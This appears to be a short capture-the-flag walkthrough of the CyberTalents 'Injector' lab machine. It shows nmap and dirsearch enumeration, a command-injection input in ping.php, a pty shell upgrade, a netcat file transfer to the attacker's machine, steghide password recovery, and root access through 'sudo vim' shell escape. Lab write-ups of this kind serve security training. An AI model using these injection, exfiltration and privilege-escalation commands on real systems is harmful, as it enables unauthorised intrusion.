Cybertalents Injector Machine

1 minute read

                                    بسم الله الرحمن الرحيم   

Description

Getting-gz

Walkthrough

First of all, you should connect to CyberTalents VPN or public ip

  • Reconnaissance
    • use nmap for port scan
    • find port 22 opened for ssh, and 80 for http
    • ` nmap -sC -sV ip`

Getting-gz

  • We’ll See a Default Apache page
  • nothing interested

Getting-gz

  • let’s discover the hidden directories & file using dirb or dirsearch
  • dirsearch -u http://172.24.170.117/ -e php -x 404,403

Getting-gz

Getting-gz

  • dirsearch -u http://172.24.170.117/secret/ -e php -x 404,403
  • nothing interesting
  • run dirsearch again

Getting-gz

  • I found ping.php

Getting-gz

  • i found command injection
  • 127.0.0.1 ;pwd

Getting-gz

Getting-gz

Getting-gz

  • stabilizing shell python3 -c 'import pty;pty.spawn("/bin/bash")'
  • now on www-data we should get a user
  • found photo in /var/www

Getting-gz

Getting-gz

  • copy it to our machine
  • nc -nlvp 8000 >photo1.jpg
  • nc -w 3 ip 8000

Getting-gz

  • i tried to use strings,exiftool,binwalk,foremost in the image but useless
  • steghide extract -sf photo1.jpg
  • cat password.txt

Getting-gz

  • we got a password
  • search about user cat /etc/passwd found alex
  • login su alex with password D0n41dTrump

Getting-gz

  • Let’s do Some privesc
  • sudo -l for show the commands runs with root permissions

Getting-gz

  • search about use vim in privesc
  • sudo vim -c ' : ! /bin/sh ' /usr/bin/vim
  • cat /root/root.txt

Getting-gz

  • We got the final flag and complete task